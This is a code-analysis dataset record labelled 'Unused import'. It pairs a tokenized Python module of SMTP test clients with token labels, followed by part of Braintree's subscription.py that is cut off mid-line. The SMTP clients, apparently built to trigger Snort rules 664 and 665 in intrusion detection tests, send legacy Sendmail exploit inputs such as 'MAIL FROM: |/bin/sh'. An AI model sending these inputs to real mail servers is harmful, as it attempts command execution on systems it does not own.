'protocols', '.', 'Protocol', ')', ':', '___EOS___']", "index": 57 }, { "content": "class SMTPClient(clientserver.TCPClient):\n port = 25\n altport = 9025", "metadata": "root.SMTPClient", "header": "['module', '___EOS___']", "index": 66 }, { "content": "class Snort664(SMTPExploitTest):", "metadata": "root.Snort664", "header": "['module', '___EOS___']", "index": 75 }, { "content": " def _rcpt(self, mo):\n self.writeeol(\"RCPT TO: decode\")", "metadata": "root.Snort664._rcpt", "header": "['class', 'Snort664', '(', 'SMTPExploitTest', ')', ':', '___EOS___']", "index": 76 }, { "content": "class Snort665(SMTPExploitTest):", "metadata": "root.Snort665", "header": "['module', '___EOS___']", "index": 84 }, { "content": " def _mail(self, mo):\n self.writeeol(\"MAIL FROM: |/bin/sh\")", "metadata": "root.Snort665._mail", "header": "['class', 'Snort665', '(', 'SMTPExploitTest', ')', ':', '___EOS___']", "index": 85 } ]
[ { "span": "from pycopia import autodebug", "start_line": 90, "start_column": 4, "end_line": 90, "end_column": 33 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "ascii", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "vim", ":", "ts", "=", "4", ":", "sw", "=", "4", ":", "soft", "tabs", "top", "=", "4", ":", "smart", "tab", ":", "expand", "tab_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", ":", " ", "LGP", "L_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ke", "ith", " ", "Dar", "t", " ", "<", "kei", "th", "@", "dart", "works", ".", "biz", ">_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Client", "s", " ", "used", " ", "to", " ", "test", " ", "vari", "ous", " ", "SMT", "P", " ", "relate", "d", " ", "exploit", "s", ".", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pycopia_", "import_", "protocols_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pycopia_", "import_", "clients", "erver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "msg", ":\"", "SMT", "P", " ", "RC", "PT", " ", "TO", " ", "decode", " ", "atte", "mpt", "\";", " ", "flow", ":", "to", "\\u", "server", ",", "establish", "ed", ";", " ", "content", ":\"", "rcp", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", "|", "3", "A", "|", "\";", " ", "noca", "se", ";", " ", "content", ":\"", "decode", "\";", " ", "distance", ":", "0", ";", " ", "noca", "se", ";", " ", "pcr", "e", ":\"", "/", "^", "rcp", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", "\\\\:", "\\\\", "s", "*", "decode", "/", "smi", "\";", " ", "reference", ":", "ara", "chn", "ids", ",", "121", ";", " ", "reference", ":", "bug", "tra", "q", ",", "230", "8", ";_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "reference", ":", "cve", ",", "1999", "-0", "203", ";", " ", "class", "type", ":", "atte", "mpte", "d", "-", "admin", ";", " ", "sid", ":", "664", ";", " ", "rev", ":", "15", ";)", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "msg", ":\"", "SMT", "P", " ", "sendm", "ail", " ", "5.6", ".5", " ", "exploit", "\";", " ", "flow", ":", "to", "\\u", "server", ",", "establish", "ed", ";", " ", "content", ":\"", "MAIL", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FROM", "|", "3", "A", "|", " ", "|", "7", "C", "|/", "usr", "/", "uc", "b", "/", "tail", "\";", " ", "noca", "se", ";", " ", "reference", ":", "ara", "chn", "ids", ",", "122", ";_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "reference", ":", "bug", "tra", "q", ",", "230", "8", ";", " ", "reference", ":", "cve", ",", "1999", "-0", "203", ";", " ", "class", "type", ":", "atte", "mpte", "d", "-", "user", ";_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sid", ":", "665", ";", " ", "rev", ":", "8", ";)", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "pycopia_", "import_", "autode", "bug_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proto_", "=_", "Sn", "ort", "664", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client_", "=_", "clients", "erver_", "._", "get", "\\u", "client_", "(_", "SMT", "PC", "lient_", ",_", "\"", "local", "host", "\"_", ",_", "proto_", ",_", "port_", "=_", "SMT", "PC", "lient_", "._", "alt", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client_", "._", "close_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "EO", "L_", "=_", "\"\\\\", "r", "\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "initialize_", "(_", "self_", ",_", "fsm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fsm_", "._", "set\\u", "default", "\\u", "transition_", "(_", "self_", "._", "\\u", "bye", "_", ",_", "fsm_", "._", "RESET_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fsm_", "._", "add", "\\u", "regex_", "(_", "\"", "220", " ", "(.*)", "\"_", ",_", "fsm_", "._", "RESET_", ",_", "self_", "._", "\\u", "gree", "t_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fsm_", "._", "add", "\\u", "regex_", "(_", "\"", "250", " ", "(.*)", "\"_", ",_", "1_", ",_", "self_", "._", "\\u", "mail_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fsm_", "._", "add", "\\u", "regex_", "(_", "\"", "503", " ", "(.*)", "\"_", ",_", "2_", ",_", "self_", "._", "\\u", "quit_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fsm_", "._", "add", "\\u", "regex_", "(_", "\"", "553", " ", "(.*)", "\"_", ",_", "2_", ",_", "self_", "._", "\\u", "quit_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fsm_", "._", "add", "\\u", "regex_", "(_", "\"", "250", " ", "(.*)", "\"_", ",_", "2_", ",_", "self_", "._", "\\u", "rcp", "t_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fsm_", "._", "add", "\\u", "regex_", "(_", "\"", "250", " ", "(.*)", "\"_", ",_", "3_", ",_", "self_", "._", "\\u", "data_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fsm_", "._", "add", "\\u", "regex_", "(_", "\"", "503", " ", "(.*)", "\"_", ",_", "3_", ",_", "self_", "._", "\\u", "quit_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fsm_", "._", "add", "\\u", "regex_", "(_", "\"", "354", " ", "(.*)", "\"_", ",_", "4_", ",_", "self_", "._", "\\u", "send_", ",_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fsm_", "._", "add", "\\u", "regex_", "(_", "\"", "250", " ", "(.*)", "\"_", ",_", "5_", ",_", "self_", "._", "\\u", "quit_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fsm_", "._", "add", "\\u", "regex_", "(_", "\"", "221", " ", "(.*)", "\"_", ",_", "6_", ",_", "self_", "._", "\\u", "good", "bye", "_", ",_", "fsm_", "._", "RESET_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "eol_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ios", "tream_", "._", "write_", "(_", "data_", "+_", "\"\\\\", "r", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "bye", "_", "(_", "self_", ",_", "mo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ios", "tream_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "protocols_", "._", "Proto", "col", "Exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "good", "bye", "_", "(_", "self_", ",_", "mo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ios", "tream_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "protocols_", "._", "Proto", "col", "Exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "gree", "t_", "(_", "self_", ",_", "mo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "eol_", "(_", "\"", "HE", "LO", " ", "some", "where", ".", "com", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "mail_", "(_", "self_", ",_", "mo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "eol_", "(_", "\"", "MAIL", " ", "FROM", ":", " ", "<", "your", "stru", "ly", "@", "some", "where", ".", "com", ">\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "rcp", "t_", "(_", "self_", ",_", "mo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "eol_", "(_", "\"", "RC", "PT", " ", "TO", ":", " ", "<", "post", "master", ">\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "quit_", "(_", "self_", ",_", "mo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "eol_", "(_", "\"", "QUI", "T", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "data_", "(_", "self_", ",_", "mo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "eol_", "(_", "\"", "DATA", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SMT", "PE", "xpl", "oi", "t", "Test_", "(_", "protocols_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "send_", "(_", "self_", ",_", "mo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "eol_", "(_", "\"\"\"", "Fro", "m", ":", " ", "\"", "You", "rs", " ", "Tru", "ly", "\"", " ", "<", "your", "stru", "ly", "@", "some", "where", ".", "com", ">", "\\", "10", ";", "To", ":", " ", "<", "post", "master", "@", "some", "where", ".", "com", ">", "\\", "10", ";", "\\", "10", ";", "Messag", "e", " ", "body", ".", "\\", "10", ";\"\"\"_", "._", "replace_", "(_", "\"\\\\", "n", "\"_", ",_", "\"\\\\", "r", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write", "eol_", "(_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "SMT", "PC", "lient_", "(_", "clients", "erver_", "._", "TC", "PC", "lient_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "port_", "=_", "25_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alt", "port_", "=_", "902", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Sn", "ort", "664", "_", "(_", "SMT", "PE", "xpl", "oi", "t", "Test_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sn", "ort", "664", "_", "(_", "SMT", "PE", "xpl", "oi", "t", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "rcp", "t_", "(_", "self_", ",_", "mo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "eol_", "(_", "\"", "RC", "PT", " ", "TO", ":", " ", "decode", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Sn", "ort", "665", "_", "(_", "SMT", "PE", "xpl", "oi", "t", "Test_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sn", "ort", "665", "_", "(_", "SMT", "PE", "xpl", "oi", "t", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "mail_", "(_", "self_", ",_", "mo_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "eol_", "(_", "\"", "MAIL", " ", "FROM", ":", " ", "|/", "bin", "/", "sh", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
braintree/braintree_python/braintree/subscription.py
[ { "content": "from decimal import Decimal\nfrom braintree.util.http import Http\nimport braintree\nimport warnings\nfrom braintree.add_on import AddOn\nfrom braintree.descriptor import Descriptor\nfrom braintree.discount import Discount\nfrom braintree.exceptions.not_found_error import NotFoundError\nfrom braintree.resource_collection import ResourceCollection\nfrom braintree.subscription_status_event import SubscriptionStatusEvent\nfrom braintree.successful_result import SuccessfulResult\nfrom braintree.error_result import ErrorResult\nfrom braintree.transaction import Transaction\nfrom braintree.resource import Resource\nfrom braintree.configuration import Configuration\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Subscription(Resource):\n \"\"\"\n A class representing a Subscription.\n\n An example of creating a subscription with all available fields::\n\n result = braintree.Subscription.create({\n \"id\": \"my_subscription_id\",\n \"merchant_account_id\": \"merchant_account_one\",\n \"payment_method_token\": \"my_payment_token\",\n \"plan_id\": \"some_plan_id\",\n \"price\": \"29.95\",\n \"trial_duration\": 1,\n \"trial_duration_unit\": braintree.Subscription.TrialDurationUnit.Month,\n \"trial_period\": True\n })\n\n For more information on Subscriptions, see https://developers.braintreepayments.com/ios+python/reference/request/subscription/create\n\n \"\"\"\n\n class TrialDurationUnit(object):\n \"\"\"\n Constants representing trial duration units. Available types are:\n\n * braintree.Subscription.TrialDurationUnit.Day\n * braintree.Subscription.TrialDurationUnit.Month\n \"\"\"\n\n Day = \"day\"\n Month = \"month\"\n\n class Source(object):\n Api = \"api\"\n ControlPanel = \"control_panel\"\n Recurring = \"recurring\"\n Unrecognized = \"unrecognized\"\n\n class Status(object):\n \"\"\"\n Constants representing subscription statusues. Available statuses are:\n\n * braintree.Subscription.Status.Active\n * braintree.Subscription.Status.Canceled\n * braintree.Subscription.Status.Expired\n * braintree.Subscription.Status.PastDue\n * braintree.Subscription.Status.Pending\n \"\"\"\n\n Active = \"Active\"\n Canceled = \"Canceled\"\n Expired = \"Expired\"\n PastDue = \"Past Due\"\n Pending = \"Pending\"\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.Subscription", "header": "['module', '___EOS___']", "index": 16 }, { "content": " @staticmethod\n def create(params={}):\n \"\"\"\n Create a Subscription\n\n Token and Plan are required:::\n\n result = braintree.Subscription.create({\n \"payment_method_token\": \"my_payment_token\",\n \"plan_id\": \"some_plan_id\",\n })\n\n \"\"\"\n\n return Configuration.gateway().subscription.create(params)", "metadata": "root.Subscription.create", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 71 }, { "content": " @staticmethod\n def create_signature():\n return [\n \"billing_day_of_month\",\n \"first_billing_date\",\n \"id\",\n \"merchant_account_id\",\n \"never_expires\",\n \"number_of_billing_cycles\",\n \"payment_method_nonce\",\n \"payment_method_token\",\n \"plan_id\",\n \"price\",\n \"trial_duration\",\n \"trial_duration_unit\",\n \"trial_period\",\n {\n \"descriptor\": [ \"name\", \"phone\", \"url\" ]\n },\n {\n \"options\": [\n \"do_not_inherit_add_ons_or_discounts\",\n \"start_immediately\"\n ]\n }\n ] + Subscription._add_ons_discounts_signature()", "metadata": "root.Subscription.create_signature", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 87 }, { "content": " @staticmethod\n def find(subscription_id):\n \"\"\"\n Find a subscription given a subscription_id. This does not return a result\n object. This will raise a :class:`NotFoundError <braintree.exceptions.not_found_error.NotFoundError>`\n if the provided subscription_id is not found. ::\n\n subscription = braintree.Subscription.find(\"my_subscription_id\")\n \"\"\"\n\n return Configuration.gateway().subscription.find(subscription_id)", "metadata": "root.Subscription.find", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 114 }, { "content": " @staticmethod\n def retryCharge(subscription_id, amount=None):\n warnings.warn(\"Please use Subscription.retry_charge instead\", DeprecationWarning)\n return Subscription.retry_charge(subscription_id, amount)", "metadata": "root.Subscription.retryCharge", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 126 }, { "content": " @staticmethod\n def retry_charge(subscription_id, amount=None):\n return Configuration.gateway().subscription.retry_charge(subscription_id, amount)", "metadata": "root.Subscription.retry_charge", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 131 }, { "content": " @staticmethod\n def update(subscription_id, params={}):\n \"\"\"\n Update an existing subscription\n\n By subscription_id. The params are similar to create::\n\n\n result = braintree.Subscription.update(\"my_subscription_id\", {\n \"price\": \"9.99\",\n })\n\n \"\"\"\n\n return Configuration.gateway().subscription.update(subscription_id, params)", "metadata": "root.Subscription.update", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 135 }, { "content": " @staticmethod\n def cancel(subscription_id):\n \"\"\"\n Cancel a subscription\n\n By subscription_id::\n\n result = braintree.Subscription.cancel(\"my_subscription_id\")\n\n \"\"\"\n\n return Configuration.gateway().subscription.cancel(subscription_id)", "metadata": "root.Subscription.cancel", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 151 }, { "content": " @staticmethod\n def search(*query):\n \"\"\"\n Allows searching on subscriptions. There are two types of fields that are searchable: text and\n multiple value fields. Searchable text fields are:\n - plan_id\n - days_past_due\n\n Searchable multiple value fields are:\n - status\n\n For text fields, you can search using the following operators: ==, !=, starts_with, ends_with\n and contains. For mutiple value fields, you can search using the in_list operator. An example::\n\n braintree.Subscription.search([\n braintree.SubscriptionSearch.plan_id.starts_with(\"abc\"),\n braintree.SubscriptionSearch.days_past_due == \"30\",\n braintree.SubscriptionSearch.status.in_list([braintree.Subscription.Status.PastDue])\n ])\n \"\"\"\n\n return Configuration.gateway().subscription.search(*query)", "metadata": "root.Subscription.search", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 164 }, { "content": " @staticmethod\n def update_signature():\n return [\n \"id\",\n \"merchant_account_id\",\n \"never_expires\",\n \"number_of_billing_cycles\",\n \"payment_method_nonce\",\n \"payment_method_token\",\n \"plan_id\",\n \"price\",\n {\n \"descriptor\": [ \"name\", \"phone\", \"url\" ]\n },\n {\n \"options\": [ \"prorate_charges\", \"replace_all_add_ons_and_discounts\", \"revert_subscription_on_proration_failure\" ]\n }\n ] + Subscription._add_ons_discounts_signature()", "metadata": "root.Subscription.update_signature", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 187 }, { "content": " @staticmethod\n def _add_ons_discounts_signature():\n return [\n {\n \"add_ons\": [{\n \"add\": [\"amount\", \"inherited_from_id\", \"never_expires\", \"number_of_billing_cycles\", \"quantity\"],\n \"remove\": [\"__any_key__\"],\n \"update\": [\"amount\", \"existing_id\", \"never_expires\", \"number_of_billing_cycles\", \"quantity\"]\n }],\n \"discounts\": [{\n \"add\": [\"amount\", \"inherited_from_id\", \"never_expires\", \"number_of_billing_cycles\", \"quantity\"],\n \"remove\": [\"__any_key__\"],\n \"update\": [\"amount\", \"existing_id\", \"never_expires\", \"number_of_billing_cycles\", \"quantity\"]\n }]\n }\n ]", "metadata": "root.Subscription._add_ons_discounts_signature", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 206 }, { "content": " def __init__(self, gateway, attributes):\n if \"next_bill_amount\" in attributes:\n self._next_bill_amount = Decimal(attributes[\"next_bill_amount\"])\n del(attributes[\"next_bill_amount\"])\n Resource.__init__(self, gateway, attributes)\n if \"price\" in attributes:\n self.price = Decimal(self.price)\n if \"balance\" in attributes:\n self.balance = Decimal(self.balance)\n if \"next_billing_period_amount\" in attributes:\n self.next_billing_period_amount = Decimal(self.next_billing_period_amount)\n if \"add_ons\" in attributes:\n self.add_ons = [AddOn(gateway, add_on) for add_on in self.add_ons]\n if \"descriptor\" in attributes:\n self.descriptor = Descriptor(gateway, attributes.pop(\"descriptor\"))\n if \"discounts\" in attributes:\n self.discounts = [Discount(gateway, discount) for discount in self.discounts]\n if \"status_history\" in attributes:\n self.status_history = 